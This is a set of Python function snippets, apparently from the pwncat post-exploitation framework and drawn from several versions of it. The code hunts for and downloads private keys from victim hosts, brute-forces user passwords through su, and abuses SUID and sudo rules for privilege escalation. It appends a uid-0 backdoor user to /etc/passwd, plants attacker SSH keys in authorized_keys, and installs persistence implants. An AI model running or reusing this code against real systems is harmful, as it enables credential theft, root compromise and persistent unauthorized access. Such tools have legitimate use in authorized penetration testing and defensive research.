def find_suid(self): current_user = self.pty.whoami() # Only re-run the search if we haven't searched as this user yet if current_user in self.users_searched: return # Note that we already searched for binaries as this user self.users_searched.append(current_user) # Spawn a find command to locate the setuid binaries files = [] with self.pty.subprocess("find / -perm -4000 -print 2>/dev/null", mode="r") as stream: util.progress("searching for setuid binaries") for path in stream: path = path.strip() util.progress(f"searching for setuid binaries: {path}") files.append(path) util.success("searching for setuid binaries: complete", overlay=True) for path in files: user = (self.pty.run( f"stat -c '%U' {shlex.quote(path)}").strip().decode("utf-8")) if user not in self.suid_paths: self.suid_paths[user] = [] # Only add new binaries if path not in self.suid_paths[user]: self.suid_paths[user].append(path)
def show_facts(self, typ: str, provider: str, long: bool): """ Display known facts matching the criteria """ data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} if isinstance(typ, list): types = typ else: types = [typ] util.progress("enumerating facts") for typ in types: for fact in pwncat.victim.enumerate.iter( typ, filter=lambda f: provider is None or f.source == provider): util.progress(f"enumerating facts: {fact.data}") if fact.type not in data: data[fact.type] = {} if fact.source not in data[fact.type]: data[fact.type][fact.source] = [] data[fact.type][fact.source].append(fact) util.erase_progress() for typ, sources in data.items(): for source, facts in sources.items(): print( f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}" ) for fact in facts: print(f" {fact.data}") if long and getattr(fact.data, "description", None) is not None: print(textwrap.indent(fact.data.description, " "))
def run(self, args): if args.action == "revert": if args.all: removed_tampers = [] util.progress(f"reverting tamper") for tamper in pwncat.victim.tamper: try: util.progress(f"reverting tamper: {tamper}") tamper.revert() removed_tampers.append(tamper) except RevertFailed as exc: util.warn(f"{tamper}: revert failed: {exc}") for tamper in removed_tampers: pwncat.victim.tamper.remove(tamper) util.success("tampers reverted!") pwncat.victim.session.commit() else: if args.tamper not in range(len(pwncat.victim.tamper)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper[args.tamper] try: tamper.revert() pwncat.victim.tamper.remove(tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") pwncat.victim.session.commit() else: for id, tamper in enumerate(pwncat.victim.tamper): print(f" {id} - {tamper}")
def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ # Update the cache for the current user # self.find_suid() known_techniques = [] try: for suid in pwncat.victim.enumerate.iter("suid"): # Print status message util.progress(( f"enumerating suid binaries: " f"{Fore.CYAN}{os.path.basename(suid.data.path)}{Fore.RESET}" )) try: binary = pwncat.victim.gtfo.find_binary( suid.data.path, caps) except BinaryNotFound: continue for method in binary.iter_methods(suid.data.path, caps, Stream.ANY): known_techniques.append( Technique( suid.data.owner.name, self, method, method.cap, )) finally: util.erase_progress() return known_techniques
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate capabilities for this method. :param capability: the requested capabilities :return: a list of techniques implemented by this method """ for fact in pwncat.victim.enumerate.iter("system.service"): if "ssh" in fact.data.name and fact.data.state == "running": break else: raise PrivescError("no sshd service running") # We only provide shell capability if Capability.SHELL not in capability: return [] techniques = [] for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"): util.progress(f"enumerating private key facts: {str(fact.data)}") if not fact.data.encrypted: techniques.append( Technique(fact.data.user.name, self, fact.data, Capability.SHELL) ) return techniques
def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn( "no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}" ) return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print(textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True ) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate capabilities for this method. :param capability: the requested capabilities :return: a list of techniques implemented by this method """ # We only provide shell capability if Capability.SHELL not in capability: return [] seen_password = [] techniques = [] for fact in pwncat.victim.enumerate.iter(typ="configuration.password"): util.progress(f"enumerating password facts: {str(fact.data)}") if fact.data.value is None: continue if fact.data.value in seen_password: continue if len(fact.data.value) < 6: continue if len(fact.data.value.split(" ")) > 3: continue for _, user in pwncat.victim.users.items(): # This password was already tried for this user and failed if user.name in fact.data.invalid: continue # We already know the password for this user if user.password is not None: continue if ( user.id == 0 and user.name != pwncat.victim.config["backdoor_user"] ) or user.id >= 1000: techniques.append( Technique(user.name, self, fact, Capability.SHELL) ) seen_password.append(fact.data.value) util.erase_progress() return techniques
def installed_methods(self) -> Iterator[Tuple[str, str, PersistenceMethod]]: me = pwncat.victim.current_user for method in pwncat.victim.persist: if method.system and method.installed(): yield (method.name, None, method) elif not method.system: if me.id == 0: for user in pwncat.victim.users: util.progress(f"checking {method.name} for: {user}") if method.installed(user): util.erase_progress() yield (method.name, user, method) util.erase_progress() else: if method.installed(me.name): yield (method.name, me.name, method)
def run(self, args): for name in args.user: args.dictionary.seek(0) for line in args.dictionary: line = line.strip() util.progress(f"bruteforcing {name}: {line}") try: # Attempt the password pwncat.victim.su(name, line, check=True) pwncat.victim.users[name].password = line util.success(f"user {name} has password {repr(line)}!") break except PermissionError: continue util.success("bruteforcing completed")
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ rules = [] for fact in pwncat.victim.enumerate("sudo"): util.progress(f"enumerating sudo rules: {fact.data}") # Doesn't appear to be a user specification if not fact.data.matched: continue # This specifies a user that is not us if (fact.data.user != "ALL" and fact.data.user != pwncat.victim.current_user.name and fact.data.group is None): continue # Check if we are part of the specified group if fact.data.group is not None: for group in pwncat.victim.current_user.groups: if fact.data.group == group.name: break else: # Non of our secondary groups match, was our primary group specified? if fact.data.group != pwncat.victim.current_user.group.name: continue # The rule appears to match, add it to the list rules.append(fact.data) # We don't need that progress after this is complete util.erase_progress() techniques = [] for rule in rules: for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability): user = "******" if rule.runas_user == "ALL" else rule.runas_user techniques.append( Technique(user, self, (method, rule), method.cap)) return techniques
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate capabilities for this method. :param capability: the requested capabilities :return: a list of techniques implemented by this method """ # We only provide shell capability if Capability.SHELL not in capability: return [] techniques = [] for fact in pwncat.victim.enumerate.iter(typ="system.user.password"): util.progress(f"enumerating password facts: {str(fact.data)}") techniques.append( Technique(fact.data.user.name, self, fact.data, Capability.SHELL)) util.erase_progress() return techniques
def enumerate() -> Generator[PrivateKeyFact, None, None]: data = [] util.progress("enumerating private keys") # Search for private keys in common locations with pwncat.victim.subprocess( "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null" ) as pipe: for line in pipe: line = line.strip().decode("utf-8").split(" ") uid, path = int(line[0]), " ".join(line[1:]) util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}") data.append(PrivateKeyFact(uid, path, None)) for fact in data: try: util.progress( f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}" ) with pwncat.victim.open(fact.path, "r") as filp: fact.content = filp.read().strip().replace("\r\n", "\n") yield fact except (PermissionError, FileNotFoundError): continue
def load_package(self, path: list): util.progress("loading privesc methods") for loader, module_name, is_pkg in pkgutil.walk_packages(path): method_module = loader.find_module(module_name).load_module( module_name) if is_pkg: continue if getattr(method_module, "Method", None) is None: # This isn't a privesc method. It shouldn't be in this directory continue try: util.progress( f"loading privesc methods: {method_module.Method.name}") method_module.Method.check() self.methods.append(method_module.Method()) except PrivescError: pass util.erase_progress()
def find_suid(self): current_user: "******" = pwncat.victim.current_user # We've already searched for SUID binaries as this user if len(current_user.suid): return # Spawn a find command to locate the setuid binaries files = [] with pwncat.victim.subprocess( "find / -perm -4000 -print 2>/dev/null", mode="r", no_job=True ) as stream: util.progress("searching for setuid binaries") for path in stream: path = path.strip().decode("utf-8") util.progress( ( f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: " f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}" ) ) files.append(path) util.success("searching for setuid binaries: complete", overlay=True) with pwncat.victim.subprocess( f"stat -c '%U' {' '.join(files)}", mode="r", no_job=True ) as stream: for file, user in zip(files, stream): user = user.strip().decode("utf-8") binary = pwncat.db.SUID(path=file,) pwncat.victim.host.suid.append(binary) pwncat.victim.users[user].owned_suid.append(binary) current_user.suid.append(binary) pwncat.victim.session.commit()
def enumerate() -> Generator[PrivateKeyFact, None, None]: data = [] util.progress("enumerating private keys") # Search for private keys in common locations with pwncat.victim.subprocess( "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null" ) as pipe: for line in pipe: line = line.strip().decode("utf-8").split(" ") uid, path = int(line[0]), " ".join(line[1:]) util.progress( f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}") data.append(PrivateKeyFact(uid, path, None, False)) for fact in data: try: util.progress( f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}" ) with pwncat.victim.open(fact.path, "r") as filp: fact.content = filp.read().strip().replace("\r\n", "\n") try: # Try to import the key to test if it's valid and if there's # a passphrase on the key. An "incorrect checksum" ValueError # is raised if there's a key. Not sure what other errors may # be raised, to be honest... RSA.importKey(fact.content) except ValueError as exc: if "incorrect checksum" in str(exc).lower(): # There's a passphrase on this key fact.encrypted = True else: # Some other error happened, probably not a key continue yield fact except (PermissionError, FileNotFoundError): continue
def escalate_single(self, technique: Technique) -> str: util.progress(f"attempting escalation to {technique}") shlvl = self.pty.getenv("SHLVL") if (technique.capabilities & Capability.SHELL) > 0: try: # Attempt our basic, known technique exit_script = technique.method.execute(technique) self.pty.flush_output() # Reset the terminal to ensure we are stable self.pty.reset() # Check that we actually succeeded current = self.pty.whoami() if current == technique.user or (technique.user == self.backdoor_user_name and current == "root"): return exit_script # Check if we ended up in a sub-shell without escalating if self.pty.getenv("SHLVL") != shlvl: # Get out of this subshell. We don't need it self.pty.process(exit_script, delim=False) # Clean up whatever mess was left over self.pty.flush_output() self.pty.reset() # The privesc didn't work, but didn't throw an exception. # Continue on as if it hadn't worked. except PrivescError: pass # We can't privilege escalate directly to a shell with this technique, # but we may be able to add a user via file write. if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root": raise PrivescError("privesc failed") # We need su to privesc w/ file write su_command = self.pty.which("su", quote=True) if su_command is None: raise PrivescError("privesc failed") # Read the current content of /etc/passwd reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) if reader is None: raise PrivescError("no file reader found") payload = reader.read_file("/etc/passwd") # Read the file passwd = self.pty.subprocess(reader.read_file("/etc/passwd")) data = passwd.read() passwd.close() # Split up the file by lines data = data.decode("utf-8").strip() data = data.split("\n") # Add a new user password = crypt.crypt(self.backdoor_password) user = self.backdoor_user_name data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}") # Join the data back and encode it data = ("\n".join(data) + "\n").encode("utf-8") # Write the data technique.method.write_file("/etc/passwd", data, technique) # Maybe help? self.pty.run("echo") # Check that it succeeded users = self.pty.reload_users() # Check if the new passwd file contained the file if user not in users: raise PrivescError("privesc failed") self.pty.users[user]["password"] = password self.backdoor_user = self.pty.users[user] # Switch to the new user # self.pty.process(f"su {user}", delim=False) self.pty.process(f"su {user}", delim=True) self.pty.flush_output() self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n") self.pty.run("echo") return "exit"
def generate_report(self, report_path: str): """ Generate a markdown report of enumeration data for the remote host. This report is generated from all facts which pwncat is capable of enumerating. It does not need nor honor the type or provider options. """ # Dictionary mapping type names to facts. Each type name is mapped # to a dictionary which maps sources to a list of facts. This makes # organizing the output report easier. report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} system_details = [] try: # Grab hostname hostname = pwncat.victim.enumerate.first("system.hostname").data system_details.append(["Hostname", hostname]) except ValueError: hostname = "[unknown-hostname]" # Not provided by enumerate, but natively known due to our connection system_details.append(["Primary Address", pwncat.victim.host.ip]) system_details.append(["Derived Hash", pwncat.victim.host.hash]) try: # Grab distribution distro = pwncat.victim.enumerate.first("system.distro").data system_details.append([ "Distribution", f"{distro.name} ({distro.ident}) {distro.version}" ]) except ValueError: pass try: # Grab the architecture arch = pwncat.victim.enumerate.first("system.arch").data system_details.append(["Architecture", arch.arch]) except ValueError: pass try: # Grab kernel version kernel = pwncat.victim.enumerate.first( "system.kernel.version").data system_details.append([ "Kernel", f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}", ]) except ValueError: pass try: # Grab init system init = pwncat.victim.enumerate.first("system.init").data system_details.append(["Init", init.init]) except ValueError: pass # Build the table writer for the main section table_writer = MarkdownTableWriter() table_writer.headers = ["Property", "Value"] table_writer.column_styles = [ pytablewriter.style.Style(align="right"), pytablewriter.style.Style(align="center"), ] table_writer.value_matrix = system_details table_writer.margin = 1 # Note enumeration data we don't need anymore. These are handled above # in the system_details table which is output with the table_writer. ignore_types = [ "system.hostname", "system.kernel.version", "system.distro", "system.init", "system.arch", ] # This is the list of known enumeration types that we want to # happen first in this order. Other types will still be output # but will be output in an arbitrary order following this list ordered_types = [ # Possible kernel exploits - very important "system.kernel.exploit", # Enumerated user passwords - very important "system.user.password", # Enumerated possible user private keys - very important "system.user.private_key", # Directories in our path that are writable "writable_path", ] # These types are very noisy. They are important for full enumeration, # but are better suited for the end of the list. These are output last # no matter what in this order. noisy_types = [ # System services. There's normally a lot of these "system.service", # Installed packages. There's *always* a lot of these "system.package", ] util.progress("enumerating report_data") for fact in pwncat.victim.enumerate.iter(): util.progress(f"enumerating report_data: {fact.data}") if fact.type in ignore_types: continue if fact.type not in report_data: report_data[fact.type] = {} if fact.source not in report_data[fact.type]: report_data[fact.type][fact.source] = [] report_data[fact.type][fact.source].append(fact) util.erase_progress() try: with open(report_path, "w") as filp: filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n") # Write the system info table table_writer.dump(filp, close_after_write=False) filp.write("\n") # output ordered types first for typ in ordered_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) # output everything that's not a ordered or noisy type for typ, sources in report_data.items(): if typ in ordered_types or typ in noisy_types: continue self.render_section(filp, typ, sources) # Output the noisy types for typ in noisy_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) util.success(f"enumeration report written to {report_path}") except OSError: self.parser.error(f"{report_path}: failed to open output file")
def escalate( self, target_user: str = None, depth: int = None, chain: List["Technique"] = None, starting_user=None, ) -> List[Tuple["Technique", str]]: """ Search for a technique chain which will gain access as the given user. """ if chain is None: chain = [] if target_user is None: target_user = "******" current_user = pwncat.victim.current_user if (target_user == current_user.name or current_user.id == 0 or current_user.name == "root"): raise PrivescError(f"you are already {current_user.name}") if starting_user is None: starting_user = current_user if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Capture current shell level shlvl = pwncat.victim.getenv("SHLVL") # Check if we have a persistence method for this user util.progress(f"checking local persistence implants") for user, persist in pwncat.victim.persist.installed: if not persist.local or (user != target_user and user is not None): continue util.progress( f"checking local persistence implants: {persist.format(target_user)}" ) # Attempt to escalate with the local persistence method if persist.escalate(target_user): # Stabilize the terminal pwncat.victim.reset(hard=False) # The method thought it worked, but didn't appear to if pwncat.victim.update_user() != target_user: if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) continue # It worked! chain.append( (f"persistence - {persist.format(target_user)}", "exit")) return chain # Enumerate escalation options for this user techniques = {} for method in self.methods: try: util.progress(f"evaluating {method} method") found_techniques = method.enumerate(Capability.SHELL | Capability.WRITE | Capability.READ) for tech in found_techniques: if tech.user not in techniques: techniques[tech.user] = [] techniques[tech.user].append(tech) except PrivescError: pass # Try to escalate directly to the target if possible if target_user in techniques: try: tech, exit_command = self.escalate_single( techniques[target_user], shlvl) pwncat.victim.reset(hard=False) pwncat.victim.update_user() chain.append((tech, exit_command)) return chain except PrivescError: pass # Try to use persistence as other users util.progress(f"checking local persistence implants") for user, persist in pwncat.victim.persist.installed: if self.in_chain(user, chain): continue util.progress( f"checking local persistence implants: {persist.format(user)}") if persist.escalate(user): # Ensure history and prompt are correct pwncat.victim.reset() # Update the current user if pwncat.victim.update_user() != user: if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) continue chain.append((f"persistence - {persist.format(user)}", "exit")) try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: chain.pop() pwncat.victim.run("exit", wait=False) # Don't retry later if user in techniques: del techniques[user] # We can't escalate directly to the target. Instead, try recursively # against other users. for user, techs in techniques.items(): if user == target_user: continue if self.in_chain(user, chain): continue try: tech, exit_command = self.escalate_single(techs, shlvl) chain.append((tech, exit_command)) pwncat.victim.reset(hard=False) pwncat.victim.update_user() except PrivescError: continue try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: tech, exit_command = chain[-1] pwncat.victim.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found")
def escalate_single(self, techniques: List["Technique"], shlvl: str) -> Tuple[Optional["Technique"], str]: """ Use the given list of techniques to escalate to the user. All techniques should be for the same user. This method will attempt a variety of privesc methods. Primarily, it will directly execute any techniques which provide the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd if the target user is root. Lastly, it will try to escalate using a local SSH server combined with READ/WRITE capabilities to gain a local shell. This is, by far, the most disgusting function in all of `pwncat`. I'd like to clean it up, but I'm not sure how to break this up. It's all one continuous line of logic. It's meant to implement all possible privilege escalation methods for one user given a list of techniques for that user. The largest chunk of this is the SSH part, which needs to check that SSH exists, then try various methods to either leak or write private keys for the given user. """ readers: List[Technique] = [] writers: List[Technique] = [] for technique in techniques: if Capability.SHELL in technique.capabilities: try: util.progress(f"attempting {technique}") # Attempt our basic, known technique exit_script = technique.method.execute(technique) pwncat.victim.flush_output(some=True) # Reset the terminal to ensure we are stable time.sleep( 0.1) # This seems inevitable for some privescs... pwncat.victim.reset(hard=False) # Check that we actually succeeded current = pwncat.victim.update_user() if current == technique.user or ( technique.user == pwncat.victim.config["backdoor_user"] and current == "root"): util.progress(f"{technique} succeeded!") pwncat.victim.flush_output() return technique, exit_script # Check if we ended up in a sub-shell without escalating if pwncat.victim.getenv("SHLVL") != shlvl: # Get out of this subshell. We don't need it # pwncat.victim.process(exit_script, delim=False) pwncat.victim.run(exit_script, wait=False) time.sleep( 0.1) # Still inevitable for some privescs... pwncat.victim.recvuntil("\n") # Clean up whatever mess was left over pwncat.victim.flush_output() pwncat.victim.reset(hard=False) shlvl = pwncat.victim.getenv("SHLVL") # The privesc didn't work, but didn't throw an exception. # Continue on as if it hadn't worked. except PrivescError: pass except ValueError: raise PrivescError if Capability.READ in technique.capabilities: readers.append(technique) if Capability.WRITE in technique.capabilities: writers.append(technique) if writers and writers[0].user == "root": # We need su to privesc w/ file write su_command = pwncat.victim.which("su", quote=True) if su_command is not None: # Grab the first writer writer = writers[0] # Read /etc/passwd with pwncat.victim.open("/etc/passwd", "r") as filp: lines = filp.readlines() # Add a new user password = crypt.crypt(pwncat.victim.config["backdoor_pass"]) user = pwncat.victim.config["backdoor_user"] lines.append( f"{user}:{password}:0:0::/root:{pwncat.victim.shell}\n") # Join the data back and encode it data = ("".join(lines)).encode("utf-8") # Write the data writer.method.write_file("/etc/passwd", data, writer) # Maybe help? pwncat.victim.run("echo") # Check that it succeeded users = pwncat.victim.reload_users() # Check if the new passwd file contained the file if user in users: # Log our tamper of this file pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=lines[-1:]) pwncat.victim.users[user].password = pwncat.victim.config[ "backdoor_pass"] self.backdoor_user = pwncat.victim.users[user] # Switch to the new user # pwncat.victim.process(f"su {user}", delim=False) pwncat.victim.process(f"su {user}", delim=True) pwncat.victim.recvuntil(": ") pwncat.victim.client.send( pwncat.victim.config["backdoor_pass"].encode("utf-8") + b"\n") pwncat.victim.flush_output() return writer, "exit" sshd_running = False for fact in pwncat.victim.enumerate.iter("system.service"): util.progress("enumerating services: {fact.data}") if "sshd" in fact.data.name and fact.data.state == "running": sshd_running = True if sshd_running: sshd_listening = True sshd_address = "127.0.0.1" else: sshd_listening = False sshd_address = None used_technique = None if sshd_running and sshd_listening: # We have an SSHD and we have a file read and a file write # technique. We can attempt to leverage this to use SSH to ourselves # and gain access as this user. util.progress(f"found {Fore.RED}sshd{Fore.RESET} listening at " f"{Fore.CYAN}{sshd_address}:22{Fore.RESET}") authkeys_path = ".ssh/authorized_keys" try: with pwncat.victim.open("/etc/ssh/sshd_config", "r") as filp: for line in filp: if line.startswith("AuthorizedKeysFile"): authkeys_path = line.strip().split()[-1] except PermissionError: # We couldn't read the file. Assume they are located in the default home directory location authkeys_path = ".ssh/authorized_keys" # AuthorizedKeysFile is normally relative to the home directory if not authkeys_path.startswith("/"): # Grab the user information from /etc/passwd home = pwncat.victim.users[techniques[0].user].homedir if home == "" or home is None: raise PrivescError( "no user home directory, can't add ssh keys") authkeys_path = os.path.join(home, authkeys_path) util.progress( f"found authorized keys at {Fore.CYAN}{authkeys_path}{Fore.RESET}" ) authkeys = [] privkey_path = None privkey = None if readers: reader = readers[0] with reader.method.read_file(authkeys_path, reader) as filp: authkeys = [line.strip().decode("utf-8") for line in filp] # Some payloads will return the stderr of the file reader. Check # that the authorized_keys even existed if len(authkeys) == 1 and "no such file" in authkeys[0].lower( ): authkeys = [] # We need to read each of the users keys in the ".ssh" directory # to see if they contain a public key that is already allowed on # this machine. If so, we can read the private key and # authenticate without a password and without clobbering their # keys. ssh_key_glob = os.path.join( pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub") # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8") keys = ["id_rsa.pub"] keys = [ os.path.join(pwncat.victim.users[reader.user].homedir, ".ssh", key) for key in keys ] # Iterate over each public key found in the home directory for pubkey_path in keys: if pubkey_path == "": continue util.progress( f"checking if {Fore.CYAN}{pubkey_path}{Fore.RESET} " "is an authorized key") # Read the public key with reader.method.read_file(pubkey_path, reader) as filp: pubkey = filp.read().strip().decode("utf-8") # Check if it matches if pubkey in authkeys: util.progress( f"{Fore.GREEN}{os.path.basename(pubkey_path)}{Fore.RESET} " f"is in {Fore.GREEN}{reader.user}{Fore.RESET} authorized keys" ) # remove the ".pub" to find the private key privkey_path = pubkey_path.replace(".pub", "") # Make sure the private key exists if (b"no such file" in pwncat.victim.run( f"file {privkey_path}").lower()): util.progress( f"{Fore.CYAN}{os.path.basename(pubkey_path)}{Fore.RESET} " f"has no private key") continue util.progress( f"download private key from {Fore.CYAN}{privkey_path}{Fore.RESET}" ) with reader.method.read_file(privkey_path, reader) as filp: privkey = filp.read().strip().decode("utf-8") # The terminal adds \r most of the time. This is a text # file so this is safe. privkey = privkey.replace("\r\n", "\n") # Ensure we remember that we found this user's private key! pwncat.victim.enumerate.add_fact( "private_key", PrivateKeyFact( pwncat.victim.users[reader.user].id, privkey_path, privkey, ), "pwncat.privesc.Finder", ) used_technique = reader break else: privkey_path = None privkey = None elif writers: util.warn( "no readers found for {Fore.GREEN}{techniques[0].user}{Fore.RESET}" ) util.warn(f"however, we do have a writer.") response = confirm( "would you like to clobber their authorized keys? ", suffix="(y/N) ") if not response: raise PrivescError("user aborted key clobbering") # If we don't already know a private key, then we need a writer if privkey_path is None and not writers: raise PrivescError("no writers available to add private keys") # Everything looks good so far. We are adding a new private key. so we # need to read in the private key and public key, then add the public # key to the user's authorized_keys. The next step will upload the # private key in any case. if privkey_path is None: writer = writers[0] # Write our private key to a random location with open(pwncat.victim.config["privkey"], "r") as src: privkey = src.read() with open(pwncat.victim.config["privkey"] + ".pub", "r") as src: pubkey = src.read().strip() # Add our public key to the authkeys authkeys.append(pubkey) # Write the file writer.method.write_file(authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer) if len(readers) == 0: # We couldn't read their authkeys, but log that we clobbered it. # The user asked us to. At least create an un-removable tamper # noting that we clobbered this file. pwncat.victim.tamper.modified_file(authkeys_path) # We now have a persistence method for this user no matter where # we are coming from. We need to track this. pwncat.victim.persist.register("authorized_keys", writer.user) used_technique = writer # SSH private keys are annoying and **NEED** a newline privkey = privkey.strip() + "\n" with pwncat.victim.tempfile("w", length=len(privkey)) as dst: # Write the file with a nice progress bar dst.write(privkey) # Save the path to the private key. We don't need the original path, # if there was one, because the current user can't access the old # one directly. privkey_path = dst.name # Log that we created a file pwncat.victim.tamper.created_file(privkey_path) # Ensure the permissions are right so ssh doesn't freak out pwncat.victim.run(f"chmod 600 {privkey_path}") # Run ssh as the given user with our new private key util.progress( f"attempting {Fore.RED}ssh{Fore.RESET} to " f"localhost as {Fore.GREEN}{techniques[0].user}{Fore.RESET}") ssh = pwncat.victim.which("ssh") # First, run a test to make sure we authenticate command = ( f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no " f"{techniques[0].user}@127.0.0.1") output = pwncat.victim.run(f"{command} echo good") # Check if we succeeded if b"good" not in output: raise PrivescError("ssh private key failed") # Great! Call SSH again! pwncat.victim.process(command) # Pretty sure this worked! return used_technique, "exit" raise PrivescError(f"unable to achieve shell as {techniques[0].user}")
def bootstrap_busybox(self, url, method): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return with ProgressBar(f"downloading busybox for {self.arch}") as pb: counter = pb(int(r.headers["Content-Length"])) with tempfile.NamedTemporaryFile("wb", delete=False) as filp: last_update = time.time() busybox_local_path = filp.name for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) counter.items_completed += len(chunk) if (time.time() - last_update) > 0.1: pb.invalidate() counter.stopped = True pb.invalidate() time.sleep(0.1) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()) # Upload busybox using the best known method to the remote server self.do_upload( ["-m", method, "-o", busybox_remote_path, busybox_local_path]) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Remove local busybox copy os.unlink(busybox_local_path) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] permissions = (self.run(f"{stat} -c %A {' '.join(which_provides)}" ).decode("utf-8").strip().split("\n")) new_provides = [] for name, perms in zip(provides, permissions): if "No such" in perms: # The remote system doesn't have this binary continue if "s" not in perms.lower(): util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox") new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox") util.success( f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path
